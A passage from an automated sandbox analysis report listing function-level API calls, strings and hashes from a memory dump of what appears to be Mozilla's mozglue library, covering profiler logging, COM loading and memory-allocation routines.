Part of subcall function 6C807670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C807693
Part of subcall function 6C807670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8085B2

Part of subcall function 6C7E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
Part of subcall function 6C7E5E90: memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
Part of subcall function 6C7E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 63cc1e2b8ecfba409118986227a13b6fe1ab0ac0d6bb6eb86b9933f9dda808de
Instruction ID: 28fd8381aedc5d0afd0f7a0a3d450cd1b881bf0e451e81ef4571a495b34bec29
Opcode Fuzzy Hash: 63cc1e2b8ecfba409118986227a13b6fe1ab0ac0d6bb6eb86b9933f9dda808de
Instruction Fuzzy Hash: 71217F753007019FDB34DB28D988A5AB7B9AF4430DF24482DE55B87B41EB35F988CB91

Function 6C7D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7D1699
VerSetConditionMask.NTDLL ref: 6C7D16CB
VerSetConditionMask.NTDLL ref: 6C7D16D7
VerSetConditionMask.NTDLL ref: 6C7D16DE
VerSetConditionMask.NTDLL ref: 6C7D16E5
VerSetConditionMask.NTDLL ref: 6C7D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7D16F9

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 65df131404ffbe7df9326bd6429c747ce9c0722006eba8b676df1ec3deb2f81a
Instruction ID: b24e1a2f30f2509b1d9fa5a8d4ad08e1073fc9cf71ba9953f96a5e10b32d369a
Opcode Fuzzy Hash: 65df131404ffbe7df9326bd6429c747ce9c0722006eba8b676df1ec3deb2f81a
Instruction Fuzzy Hash: 6921F3B07402086BEB206A648D89FBBB27CEF96718F418528F6449B581D674AD54C7E1

Function 6C80F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C80F598), ref: 6C80F621

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

GetCurrentThreadId.KERNEL32 ref: 6C80F637
AcquireSRWLockExclusive.KERNEL32(6C84F4B8,?,?,00000000,?,6C80F598), ref: 6C80F645
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8,?,?,00000000,?,6C80F598), ref: 6C80F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C80F62A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 7fd828063c158642fa986780054888870bcb87207f5cb10188df583bd8cdc682
Instruction ID: e0f572a8aaab82341201e6afbf8697e3825fdd648fa09c514839d24d2318704f
Opcode Fuzzy Hash: 7fd828063c158642fa986780054888870bcb87207f5cb10188df583bd8cdc682
Instruction Fuzzy Hash: BA11C175301604ABCA34BF19DA48DAA7779FB9636DF508879EA0583F01CB31AC15CBE4

Function 6C7D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

LoadLibraryW.KERNEL32(combase.dll,6C7D1C5F), ref: 6C7D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C7D20CD
__Init_thread_footer.LIBCMT ref: 6C7D20E1
FreeLibrary.KERNEL32 ref: 6C7D2124

Strings

CoInitializeSecurity, xrefs: 6C7D20C7
combase.dll, xrefs: 6C7D20A9

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 3db73757c829a4d7bb59dff29c10ebe9d53ff9ba1fa2e6974e3a8e271fe75ec6
Instruction ID: b3a1f355860ac9562d88c07f21f8cb2f0ba1fef8f22347873dffaaa1f7a04b2f
Opcode Fuzzy Hash: 3db73757c829a4d7bb59dff29c10ebe9d53ff9ba1fa2e6974e3a8e271fe75ec6
Instruction Fuzzy Hash: A2213075200109AFDF21EF55DD48E9A3B75FB5A36DF128029FA1452610D731A862DFA0

Function 6C7D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C7D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C7D1FFD
__Init_thread_footer.LIBCMT ref: 6C7D2011
FreeLibrary.KERNEL32 ref: 6C7D2059

Strings

CoCreateInstance, xrefs: 6C7D1FF7
combase.dll, xrefs: 6C7D1FD9

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: cdc95956012043fd4a34e4526178a2a2cddf984d5dd445bbf1237eb4be74bbfe
Instruction ID: 5e5020ec806b4455236eb278e704f35e88a3c0d254492a190ca3f51ca738046c
Opcode Fuzzy Hash: cdc95956012043fd4a34e4526178a2a2cddf984d5dd445bbf1237eb4be74bbfe
Instruction Fuzzy Hash: 1B115675200208ABEF30EF55CA4CE9A3B79FB9636DF028439E91492740D731A812DBA0

Function 6C7D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C7FD9F0,00000000), ref: 6C7D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C7D0F3C
__Init_thread_footer.LIBCMT ref: 6C7D0F50
FreeLibrary.KERNEL32(?,6C7FD9F0,00000000), ref: 6C7D0F86

Strings

CoInitializeEx, xrefs: 6C7D0F36
combase.dll, xrefs: 6C7D0F18

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d6e16e15ba8f5f4ea3df43662249f6b231ddf625147e789473c173c5c65c73ce
Instruction ID: bbc19b33542887565739c275721b909394167a78a6aeb8657c41b9dd7f50b9b4
Opcode Fuzzy Hash: d6e16e15ba8f5f4ea3df43662249f6b231ddf625147e789473c173c5c65c73ce
Instruction Fuzzy Hash: C91170756052409BDF20EF59CA0CE5A7774EB9A32EF53C63DE90592B40D730A405CED6

Function 6C80F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80F561

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

GetCurrentThreadId.KERNEL32 ref: 6C80F577
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80F585
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C80F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C80F499
[I %d/%d] profiler_resume, xrefs: 6C80F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C80F56A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ed71d9fbf609a1abda6e6184b8219610869580fced1ae98a193b7e005a97499b
Instruction ID: 4979c7d34abbfe1c5cf2f56bf2b8592dad1429959f713288104046868e7f03a6
Opcode Fuzzy Hash: ed71d9fbf609a1abda6e6184b8219610869580fced1ae98a193b7e005a97499b
Instruction Fuzzy Hash: C5F0B4753006049BDA307F699C48E6F777CEB9626DF008875EA0583701DF354805C7E4

Function 6C7D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C7D0DF8), ref: 6C7D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C7D0EA1
__Init_thread_footer.LIBCMT ref: 6C7D0EB5
FreeLibrary.KERNEL32 ref: 6C7D0EC5

Strings

kernel32.dll, xrefs: 6C7D0E7D
GetProcessMitigationPolicy, xrefs: 6C7D0E9B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 18e233db4e92e36b8b4fbcb96fe405d49472709f3e993286fd1866bc20199bad
Instruction ID: 70364c2b3747e40305d5df06e93d5d01ff907d3364b0a1911a45f2c998412e91
Opcode Fuzzy Hash: 18e233db4e92e36b8b4fbcb96fe405d49472709f3e993286fd1866bc20199bad
Instruction Fuzzy Hash: C30178747003C28BDA20BFE8CA48A1AB7B9E36731DF01A939990082F40D738B404DA81

Function 6C80F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C80F598), ref: 6C80F621

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

GetCurrentThreadId.KERNEL32 ref: 6C80F637
AcquireSRWLockExclusive.KERNEL32(6C84F4B8,?,?,00000000,?,6C80F598), ref: 6C80F645
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8,?,?,00000000,?,6C80F598), ref: 6C80F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C80F62A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4b689f1d4aa4cb980c479f439989fefed498841903a97068e5e2cce03de9ae5a
Instruction ID: 0ad248dabfc5497a7b2c794966c3c57150f3ccca11576c35e97e33e9ce0531eb
Opcode Fuzzy Hash: 4b689f1d4aa4cb980c479f439989fefed498841903a97068e5e2cce03de9ae5a
Instruction Fuzzy Hash: A3F0BEB5300604ABDA307B699C48E6F7B7CEBD62ADF008875EA0583701CB354C05C7B4

Function 6C8005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C7FCFAE,?,?,?,6C7C31A7), ref: 6C8005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C7FCFAE,?,?,?,6C7C31A7), ref: 6C800616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C7C31A7), ref: 6C80061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C7C31A7), ref: 6C800627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C80061B, 6C800625
<jemalloc>, xrefs: 6C8005FA, 6C80060F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 3c6a10e59d387a43b505280b0409b1453e0288c3e35505f09772fb09516905a8
Instruction ID: 7fe190e681ffdcd3d350d526777ae4c26e7f6747b6ce2a08877d7ba5b1b732fa
Opcode Fuzzy Hash: 3c6a10e59d387a43b505280b0409b1453e0288c3e35505f09772fb09516905a8
Instruction Fuzzy Hash: F6E086E290202037F52422596C46DBB761CDBC6138F040139FD0D47301E94AAD1991F6

Function 6C7D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02329bea0894175d483da54faf362641bbac113c3775c3fdd34c05cb6e190a78
Instruction ID: e8bc8c366d9d67c8a8b425a8346c4a80b2798960f1508cfbded3f125f38e5e97
Opcode Fuzzy Hash: 02329bea0894175d483da54faf362641bbac113c3775c3fdd34c05cb6e190a78
Instruction Fuzzy Hash: 06A15A70A007058FDB24CF29C684A9AFBF1BF49318F45866ED44A9BB01E730B985CF90

Function 6C8214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8214E2
GetCurrentThreadId.KERNEL32 ref: 6C821546
InitializeConditionVariable.KERNEL32(?), ref: 6C8215BA
free.MOZGLUE(?), ref: 6C8216B4

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 144f73bcff60a66f64f24c734befbe814b6686cd34c0ec20ebf1493012d67c50
Instruction ID: 1eb71128a79d5dcbfa0cf4355c167550912f2cd18454e50f44b900097a00fb81
Opcode Fuzzy Hash: 144f73bcff60a66f64f24c734befbe814b6686cd34c0ec20ebf1493012d67c50
Instruction Fuzzy Hash: 7161E231A007049BDB219F24CA84BDE77B5BF89308F54892CED8A57701DB35E985CBD1

Function 6C819F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C819FDB
free.MOZGLUE(?,?), ref: 6C819FF0
free.MOZGLUE(?,?), ref: 6C81A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C81A0BE
free.MOZGLUE(?,?), ref: 6C81A0D5
free.MOZGLUE(?,?), ref: 6C81A0EB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ff0e99e3a918d118f1361e29bfb4409878fa4a6c02c93b23f41a47ed2d74dff2
Instruction ID: c993eab3a8d63c882fac78d284e5a314ae6c35a7c867b387b45e6b63616dce64
Opcode Fuzzy Hash: ff0e99e3a918d118f1361e29bfb4409878fa4a6c02c93b23f41a47ed2d74dff2
Instruction Fuzzy Hash: 5F61B475508706DFC751CF18C5805AAB3F5FF88328F544659E8599BB02E731E98ACBC1

Function 6C81DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C81DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C81D38A,?), ref: 6C81DC6F
free.MOZGLUE(?,?,?,?,?,6C81D38A,?), ref: 6C81DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C81D38A,?), ref: 6C81DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C81D38A,?), ref: 6C81DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C81D38A,?), ref: 6C81DD4A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 54120ca4ecb8f4748df0a4a68539636a4bdf89d8226781446a4a65570afb20a5
Instruction ID: 4020dd3c6b10c9d6995142af06ed070fb2210fe4bd9e07265d6e7fb240b88a9c
Opcode Fuzzy Hash: 54120ca4ecb8f4748df0a4a68539636a4bdf89d8226781446a4a65570afb20a5
Instruction Fuzzy Hash: AD416BB5A00606DFCB50CFA9C984AAAB7F5FF8D318B55496AD945ABB10D731FC00CB90

